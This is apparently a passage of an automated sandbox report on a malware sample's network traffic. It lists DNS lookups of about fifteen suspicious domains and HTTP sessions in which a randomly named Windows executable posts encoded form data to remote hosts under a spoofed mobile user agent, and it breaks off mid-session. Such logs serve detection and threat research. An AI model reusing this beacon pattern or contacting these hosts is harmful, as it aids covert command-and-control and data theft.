Nov 20, 2024 16:57:23.068725109 CET	80	50024	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:25.490998030 CET	80	50024	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:25.491014957 CET	80	50024	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:25.491031885 CET	80	50024	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:25.491045952 CET	80	50024	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:25.491137981 CET	50024	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:25.501699924 CET	50024	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:25.622237921 CET	80	50024	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:31.298537970 CET	50025	80	192.168.2.11	185.27.134.144
Nov 20, 2024 16:57:31.428864956 CET	80	50025	185.27.134.144	192.168.2.11
Nov 20, 2024 16:57:31.429111004 CET	50025	80	192.168.2.11	185.27.134.144
Nov 20, 2024 16:57:31.444202900 CET	50025	80	192.168.2.11	185.27.134.144
Nov 20, 2024 16:57:31.568588018 CET	80	50025	185.27.134.144	192.168.2.11
Nov 20, 2024 16:57:32.683039904 CET	80	50025	185.27.134.144	192.168.2.11
Nov 20, 2024 16:57:32.683119059 CET	80	50025	185.27.134.144	192.168.2.11
Nov 20, 2024 16:57:32.683253050 CET	50025	80	192.168.2.11	185.27.134.144
Nov 20, 2024 16:57:34.314433098 CET	50025	80	192.168.2.11	185.27.134.144
Nov 20, 2024 16:57:35.334521055 CET	50026	80	192.168.2.11	185.27.134.144
Nov 20, 2024 16:57:35.457309961 CET	80	50026	185.27.134.144	192.168.2.11
Nov 20, 2024 16:57:35.457405090 CET	50026	80	192.168.2.11	185.27.134.144
Nov 20, 2024 16:57:35.476897001 CET	50026	80	192.168.2.11	185.27.134.144
Nov 20, 2024 16:57:35.596786022 CET	80	50026	185.27.134.144	192.168.2.11
Nov 20, 2024 16:57:36.804306030 CET	80	50026	185.27.134.144	192.168.2.11
Nov 20, 2024 16:57:36.805226088 CET	80	50026	185.27.134.144	192.168.2.11
Nov 20, 2024 16:57:36.805342913 CET	50026	80	192.168.2.11	185.27.134.144
Nov 20, 2024 16:57:36.990504026 CET	50026	80	192.168.2.11	185.27.134.144

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 16:54:06.230840921 CET	54730	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:54:06.904459953 CET	53	54730	1.1.1.1	192.168.2.11
Nov 20, 2024 16:54:23.661644936 CET	52801	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:54:24.075999975 CET	53	52801	1.1.1.1	192.168.2.11
Nov 20, 2024 16:54:39.350095987 CET	54216	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:54:39.893897057 CET	53	54216	1.1.1.1	192.168.2.11
Nov 20, 2024 16:54:54.333287954 CET	57713	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:54:54.973490000 CET	53	57713	1.1.1.1	192.168.2.11
Nov 20, 2024 16:55:12.349807024 CET	61784	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:55:12.813208103 CET	53	61784	1.1.1.1	192.168.2.11
Nov 20, 2024 16:55:27.319801092 CET	54512	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:55:28.236885071 CET	53	54512	1.1.1.1	192.168.2.11
Nov 20, 2024 16:55:42.678258896 CET	51139	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:55:43.234446049 CET	53	51139	1.1.1.1	192.168.2.11
Nov 20, 2024 16:55:57.648458958 CET	61977	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:55:58.658006907 CET	61977	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:55:58.837333918 CET	53	61977	1.1.1.1	192.168.2.11
Nov 20, 2024 16:55:58.837354898 CET	53	61977	1.1.1.1	192.168.2.11
Nov 20, 2024 16:56:13.289025068 CET	53225	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:56:14.031459093 CET	53	53225	1.1.1.1	192.168.2.11
Nov 20, 2024 16:56:28.683430910 CET	60173	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:56:29.310043097 CET	53	60173	1.1.1.1	192.168.2.11
Nov 20, 2024 16:56:43.584996939 CET	54016	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:56:44.248764038 CET	53	54016	1.1.1.1	192.168.2.11
Nov 20, 2024 16:56:59.147289991 CET	59500	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:56:59.615103960 CET	53	59500	1.1.1.1	192.168.2.11
Nov 20, 2024 16:57:14.053189039 CET	55612	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:57:14.790102959 CET	53	55612	1.1.1.1	192.168.2.11
Nov 20, 2024 16:57:30.521346092 CET	64150	53	192.168.2.11	1.1.1.1
Nov 20, 2024 16:57:31.293054104 CET	53	64150	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 16:54:06.230840921 CET	192.168.2.11	1.1.1.1	0xcec8	Standard query (0)	www.duwixushx.xyz	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:54:23.661644936 CET	192.168.2.11	1.1.1.1	0x3949	Standard query (0)	www.1qcczjvh2.autos	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:54:39.350095987 CET	192.168.2.11	1.1.1.1	0xfe14	Standard query (0)	www.yvcp3.info	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:54:54.333287954 CET	192.168.2.11	1.1.1.1	0xdaac	Standard query (0)	www.guacamask.online	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:12.349807024 CET	192.168.2.11	1.1.1.1	0xfaa5	Standard query (0)	www.supernutra01.online	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:27.319801092 CET	192.168.2.11	1.1.1.1	0xc728	Standard query (0)	www.bookingservice.center	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:42.678258896 CET	192.168.2.11	1.1.1.1	0x6a18	Standard query (0)	www.connecty.live	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:57.648458958 CET	192.168.2.11	1.1.1.1	0x64f2	Standard query (0)	www.seeseye.website	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:58.658006907 CET	192.168.2.11	1.1.1.1	0x64f2	Standard query (0)	www.seeseye.website	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:13.289025068 CET	192.168.2.11	1.1.1.1	0x2d6	Standard query (0)	www.bcg.services	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:28.683430910 CET	192.168.2.11	1.1.1.1	0x5539	Standard query (0)	www.aiactor.xyz	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:43.584996939 CET	192.168.2.11	1.1.1.1	0x59f7	Standard query (0)	www.76kdd.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:59.147289991 CET	192.168.2.11	1.1.1.1	0xaa97	Standard query (0)	www.rafconstrutora.online	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:57:14.053189039 CET	192.168.2.11	1.1.1.1	0xad38	Standard query (0)	www.614genetics.online	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:57:30.521346092 CET	192.168.2.11	1.1.1.1	0xfe9b	Standard query (0)	www.amayavp.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 16:54:06.904459953 CET	1.1.1.1	192.168.2.11	0xcec8	No error (0)	www.duwixushx.xyz		156.251.17.224	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:54:24.075999975 CET	1.1.1.1	192.168.2.11	0x3949	No error (0)	www.1qcczjvh2.autos	1.1qcczjvh2.autos		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:54:24.075999975 CET	1.1.1.1	192.168.2.11	0x3949	No error (0)	1.1qcczjvh2.autos	1hong-fted.pels5zqo.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:54:24.075999975 CET	1.1.1.1	192.168.2.11	0x3949	No error (0)	1hong-fted.pels5zqo.shop	1hong.pels5zqo.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:54:24.075999975 CET	1.1.1.1	192.168.2.11	0x3949	No error (0)	1hong.pels5zqo.shop		43.163.1.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:54:39.893897057 CET	1.1.1.1	192.168.2.11	0xfe14	No error (0)	www.yvcp3.info		47.254.140.255	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:54:54.973490000 CET	1.1.1.1	192.168.2.11	0xdaac	No error (0)	www.guacamask.online		208.91.197.27	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:12.813208103 CET	1.1.1.1	192.168.2.11	0xfaa5	No error (0)	www.supernutra01.online		172.67.220.36	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:12.813208103 CET	1.1.1.1	192.168.2.11	0xfaa5	No error (0)	www.supernutra01.online		104.21.24.198	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:28.236885071 CET	1.1.1.1	192.168.2.11	0xc728	No error (0)	www.bookingservice.center		98.124.224.17	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:43.234446049 CET	1.1.1.1	192.168.2.11	0x6a18	No error (0)	www.connecty.live		203.161.43.228	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:58.837333918 CET	1.1.1.1	192.168.2.11	0x64f2	No error (0)	www.seeseye.website		103.224.182.242	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:55:58.837354898 CET	1.1.1.1	192.168.2.11	0x64f2	No error (0)	www.seeseye.website		103.224.182.242	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:14.031459093 CET	1.1.1.1	192.168.2.11	0x2d6	No error (0)	www.bcg.services		199.59.243.227	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:29.310043097 CET	1.1.1.1	192.168.2.11	0x5539	No error (0)	www.aiactor.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:29.310043097 CET	1.1.1.1	192.168.2.11	0x5539	No error (0)	www.aiactor.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:44.248764038 CET	1.1.1.1	192.168.2.11	0x59f7	No error (0)	www.76kdd.top	76kdd.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 16:56:44.248764038 CET	1.1.1.1	192.168.2.11	0x59f7	No error (0)	76kdd.top		38.47.232.194	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:59.615103960 CET	1.1.1.1	192.168.2.11	0xaa97	No error (0)	www.rafconstrutora.online		172.67.159.24	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:56:59.615103960 CET	1.1.1.1	192.168.2.11	0xaa97	No error (0)	www.rafconstrutora.online		104.21.34.103	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:57:14.790102959 CET	1.1.1.1	192.168.2.11	0xad38	No error (0)	www.614genetics.online		208.91.197.27	A (IP address)	IN (0x0001)	false
Nov 20, 2024 16:57:31.293054104 CET	1.1.1.1	192.168.2.11	0xfe9b	No error (0)	www.amayavp.xyz		185.27.134.144	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.duwixushx.xyz

www.1qcczjvh2.autos

www.yvcp3.info

www.guacamask.online

www.supernutra01.online

www.bookingservice.center

www.connecty.live

www.seeseye.website

www.bcg.services

www.aiactor.xyz

www.76kdd.top

www.rafconstrutora.online

www.614genetics.online

www.amayavp.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49791	156.251.17.224	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:07.050790071 CET	505	OUT	GET /bmve/?Wno=a0qDq&KV=Rsosln+CouPFD70pouDpcL8MGxlXnptR0Qz9VzezY2yTYUIF1+nb00CRzlZGPtlDISGdoNhQK1cGxL7iAKAdT88wJdzRXyyanezdQrBbCEm548OmpMr0744= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.duwixushx.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:54:08.617803097 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 15:54:08 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49829	43.163.1.110	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:24.213718891 CET	783	OUT	POST /od8t/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.1qcczjvh2.autos Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.1qcczjvh2.autos Referer: http://www.1qcczjvh2.autos/od8t/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 65 55 34 42 51 56 6f 47 51 43 6e 4c 4d 71 6b 30 7a 49 52 30 68 69 2f 4d 6f 62 50 38 44 66 36 71 47 38 7a 76 4d 79 48 66 37 48 70 68 45 63 41 64 74 34 63 34 41 5a 71 75 6d 74 6d 47 56 44 34 75 31 41 30 2f 73 6a 71 37 48 76 49 4b 64 50 6b 63 4f 65 64 39 63 2b 43 31 53 6c 44 43 37 74 65 54 64 72 63 7a 43 41 4d 6b 4c 35 77 69 46 57 41 57 2b 4d 7a 38 4d 4f 6e 73 71 39 66 49 5a 2b 69 50 31 59 4a 30 32 67 57 68 42 4f 4d 64 46 75 66 56 67 73 36 73 52 67 5a 46 78 31 62 4d 5a 6f 79 78 30 39 4f 72 71 67 46 37 4c 65 63 5a 57 6b 36 35 45 78 6c 57 6a 6d 2b 50 70 50 45 55 6f 39 54 77 67 67 3d 3d Data Ascii: KV=eU4BQVoGQCnLMqk0zIR0hi/MobP8Df6qG8zvMyHf7HphEcAdt4c4AZqumtmGVD4u1A0/sjq7HvIKdPkcOed9c+C1SlDC7teTdrczCAMkL5wiFWAW+Mz8MOnsq9fIZ+iP1YJ02gWhBOMdFufVgs6sRgZFx1bMZoyx09OrqgF7LecZWk65ExlWjm+PpPEUo9Twgg==
Nov 20, 2024 16:54:25.746002913 CET	1236	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 20 Nov 2024 15:54:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 58288 Connection: close Vary: Accept-Encoding ETag: "67344967-e3b0" Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 7d 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f [TRUNCATED] Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {height: 100%;}body {height: 100%;font-size: 14px;}.container {display: flex;flex-direction: column;align-items: center;height: 100%;padding-top: 12%;}.logo img { display: block; width: 100px;}.logo img + img { margin-top: 12px;}.title {margin-top: 24px;font-size: 110px;color: #333;letter-spacing: 10px;}.desc {font-size: 16px;color: #777;text-align: center;line-height: 24px;}.footer {/* position: absolute;left: 0;bottom: 32px;width: 100%; */margin-top: 24px;text-align: center;font-size: 12px;}.footer .btlink {color: #20a53a;text-decoration: no [TRUNCATED]
Nov 20, 2024 16:54:25.746026039 CET	1236	IN	Data Raw: 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 0a 09 09 09 09 3c 69 6d 67 20 73 72 63 3d Data Ascii: le></head><body><div class="container"><div class="logo"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEDCAYAAACPhzmWAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAt+wAALfsB/IdK5wAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIE
Nov 20, 2024 16:54:25.746134043 CET	1236	IN	Data Raw: 59 37 33 42 72 51 47 72 32 75 44 72 39 4a 4f 4a 78 57 47 36 45 41 56 30 42 42 4f 51 37 78 46 39 4c 54 35 35 38 66 2b 69 52 48 56 59 6d 78 51 41 41 7a 32 46 47 7a 55 70 38 38 31 31 37 7a 44 64 70 54 4c 74 64 45 50 41 31 67 4a 4b 46 4e 46 66 6c 4d Data Ascii: Y73BrQGr2uDr9JOJxWG6EAV0BBOQ7xF9LT558f+iRHVYmxQAAz2FGzUp88117zDdpTLtdEPA1gJKFNFflMXT5CYVVBMAXOChkWczTlx/Zse+bjq9aD5/Y3yLbYolkAIhw6Y3m2u/gzw0FEJjvGgKox2Pr9hOIx2G5EQJeL3jMIoldD934ptP9nKyRAT5c2IEY0+SVW00j4Uf7QDZHUVo3dvUJh4qcxjGwBtcz06NX9h7x+YauPa
Nov 20, 2024 16:54:25.746330976 CET	1236	IN	Data Raw: 4f 41 41 41 45 4a 50 31 79 63 4b 63 4a 6e 4b 49 52 31 68 6b 32 50 54 62 58 6c 73 47 79 49 2b 4d 46 41 42 38 44 47 50 33 62 31 51 73 6a 62 71 65 6e 70 56 51 4e 4c 4e 45 6e 6e 30 6b 75 67 45 4f 4e 56 33 54 36 4e 4c 35 50 39 42 59 46 39 2f 7a 58 38 Data Ascii: OAAAEJP1ycKcJnKIR1hk2PTbXlsGyI+MFAB8DGP3b1QsjbqenpVQNLNEnn0kugEONV3T6NL5P9BYF9/zX8dzyjk2IaBKANsi386rV0BEM9WoOwhoa224FgOksKjbDTnNHAdhMYGYM/jX9vFVbwOylS1VW0H0PDuCZErqeirZOEiF57flzAkBKFmSP2jq57Mj4MgDWQRb4C86yWNol7z0SIzGWmM9MC1maZlPjFZ0mNS5DCm7776
Nov 20, 2024 16:54:25.746354103 CET	1236	IN	Data Raw: 33 36 30 2b 5a 2b 38 34 72 4f 35 5a 44 78 66 58 4a 64 79 71 4c 4d 61 53 6c 5a 62 44 55 4e 4d 5a 53 62 67 4f 4a 49 42 67 41 48 46 50 51 6a 33 38 63 63 31 71 38 57 45 48 67 2b 4a 6b 41 4b 79 73 42 51 59 77 78 2f 37 4e 4a 31 2f 33 42 6d 42 38 67 6a Data Ascii: 360+Z+84rO5ZDxfXJdyqLMaSlZbDUNMZSbgOJIBgAHFPQj38cc1q8WEHg+JkAKysBQYwx/7NJ1/3BmB8gj2RvZKRfZosnPksjZn4CjfC/IpoSQPiSxrZrxqJi84co2C09n2ayBoPnLtgx4wHySFu7EM8algthDCrYeAjIUdKqVHjpSihoruB0bRyAdjbsTXVLBwynwU1aQCX0KXDOG4RyINQBh5bg0A1gZRX04R+JxJiXRRJ7WC
Nov 20, 2024 16:54:25.746366978 CET	1236	IN	Data Raw: 45 47 48 76 61 58 36 4d 74 67 61 79 63 62 51 6a 77 66 61 48 49 68 69 54 70 36 6a 73 64 47 32 68 45 53 61 70 67 36 33 35 61 67 56 2f 54 72 65 59 59 49 36 70 47 37 34 48 39 68 38 2f 50 45 4e 47 58 7a 64 68 70 64 78 72 31 62 79 49 37 4f 33 75 6b 6c Data Ascii: EGHvaX6MtgaycbQjwfaHIhiTp6jsdG2hESapg635agV/TreYYI6pG74H9h8/PENGXzdhpdxr1byI7O3ukl5cXB2CoHVP+TnrOcrZ+Y3X6qPeH8NetLNSKqCxupZQq46PbnZZrCS/qgaEV+F1vrvo5CH7etopNmKFgAf+/isGo9wfQBEBjyAn4tX01qutq4LO2cze+Al/tWRCLc6RNhxzW5vNfq37sOpz/IHpR+oYrJz4OVKnHvl
Nov 20, 2024 16:54:25.746380091 CET	1236	IN	Data Raw: 30 6b 74 69 74 4f 31 6e 5a 52 55 34 31 41 6e 79 30 6f 36 68 39 78 61 72 51 71 76 56 32 75 6a 4f 43 52 63 55 2b 4d 53 58 75 2b 34 56 45 33 67 66 77 49 65 77 49 38 42 46 42 65 7a 55 70 59 7a 6c 62 64 66 77 49 54 4e 62 4a 6a 78 68 77 56 47 58 39 7a Data Ascii: 0ktitO1nZRU41Any0o6h9xarQqvV2ujOCRcU+MSXu+4VE3gfwIewI8BFBezUpYzlbdfwITNbJjxhwVGX9zuOltCq+0B1FjcDHfDnhRy8QNbHTJbs5if8mDEZ9OYNRP9Bg1D9wUpMhT//+rMHJkFdoRa1aXkrwDflg0da0syUCDkKrHgJCDHKkgQDWALjGFsXtcLQPTqUNEGi2VRL7rz+zYkOT4BqvH7v/R1U1J7xYQuu9ctedy+
Nov 20, 2024 16:54:25.746395111 CET	1236	IN	Data Raw: 36 52 76 59 75 2b 41 65 52 44 4e 67 75 7a 63 55 59 2f 4f 4a 76 2f 64 45 52 5a 32 35 75 42 41 72 6b 6d 6c 6e 45 61 36 66 47 39 46 53 4c 44 41 55 6c 66 4b 2b 39 58 72 66 50 44 41 78 70 4d 51 70 45 54 39 74 6f 66 69 2f 6b 33 4d 4d 6e 6d 76 34 68 6e Data Ascii: 6RvYu+AeRDNguzcUY/OJv/dERZ25uBArkmlnEa6fG9FSLDAUlfK+9XrfPDAxpMQpET9tofi/k3MMnmv4hn24B8L09O8YQvOLoge/Zgv0/wWJd/OcJgXua2pQL1grcQzmLVQK9tmBAozbgyN4sIAF2Pgf/JAxGfXWDUT8VQDyIZkCuXG0XH412yrg2jUNeWrCpIgQ6AY2q70MGAnrgkiUbalqXd+QkJGxwtp/FyiVkYAvk38CllD
Nov 20, 2024 16:54:25.746462107 CET	1169	IN	Data Raw: 30 65 69 6d 74 39 35 73 45 63 6d 51 4c 75 43 53 41 4b 5a 43 6e 69 76 30 4e 52 6e 76 68 53 49 38 62 64 67 35 32 67 67 59 4a 51 49 6f 70 74 79 30 34 64 68 4a 67 63 6a 49 75 59 36 6e 59 66 66 31 79 75 6b 6e 38 4d 78 6a 55 56 36 50 36 58 39 32 67 49 Data Ascii: 0eimt95sEcmQLuCSAKZCniv0NRnvhSI8bdg52ggYJQIopty04dhJgcjIuY6nYff1yukn8MxjUV6P6X92gIefgo4uyc9MtLCp2d3F7/l+jX0jkFcghM3ZhjNX47ljMAjZ37yyIUgw4rs2E3Ue8tCr+AAGoEei3FcQ9i3xxR0WQC7CTxe27qzEY9S9BwHYAXwKorvQ6AtLK+Og++lCytq8++Yd2KOW/t8iHJ2E/Gqu608BQAwhv5T
Nov 20, 2024 16:54:25.746624947 CET	1236	IN	Data Raw: 7a 77 5a 37 2b 38 64 38 65 6d 54 62 6b 43 56 6e 39 6f 79 74 34 68 50 55 68 69 4f 79 47 37 46 63 67 50 6f 41 66 6a 49 59 39 58 4d 4e 52 72 30 53 37 58 53 33 49 44 47 32 45 34 44 64 70 2b 79 31 31 49 77 75 57 48 7a 30 49 42 69 37 41 59 76 31 35 74 Data Ascii: zwZ7+8d8emTbkCVn9oyt4hPUhiOyG7FcgPoAfjIY9XMNRr0S7XS3IDG2E4Ddp+y11IwuWHz0IBi7AYv15tHbV54C4NO8cvD7NLhJKAT+LTtN/AFIReclepCx4iBk9RBFWESpzfH6T41lq08fzbXmHGtXJSIWvrpXFFxqBsNO5ztaPPLUEyYA2AYgzJFrOaJrlQJ9eizdd/b9976O7ozaFY6A4+yn0HD4CL9l7oA39xvk9eWHYfj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49838	43.163.1.110	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:26.878608942 CET	803	OUT	POST /od8t/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.1qcczjvh2.autos Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.1qcczjvh2.autos Referer: http://www.1qcczjvh2.autos/od8t/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 65 55 34 42 51 56 6f 47 51 43 6e 4c 4d 4f 67 30 78 72 4a 30 70 69 2f 4c 32 72 50 38 4e 2f 37 43 47 38 76 76 4d 33 6a 78 37 30 4e 68 64 38 51 64 73 39 77 34 42 5a 71 75 70 4e 6d 4a 59 6a 34 62 31 42 49 42 73 6d 4b 37 48 76 4d 4b 64 50 30 63 4f 49 56 79 66 4f 43 33 48 31 43 6b 6d 39 65 54 64 72 63 7a 43 41 5a 4c 4c 35 6f 69 46 43 45 57 78 49 76 7a 50 4f 6e 76 72 39 66 49 4f 4f 69 31 31 59 4a 4b 32 69 6a 70 42 4d 45 64 46 76 76 56 6a 35 61 6a 61 67 5a 50 75 46 61 54 4a 4e 47 2f 30 50 4c 33 74 47 39 4d 50 39 67 50 65 43 33 6a 55 53 73 42 67 31 32 4e 39 70 6c 6b 68 4d 32 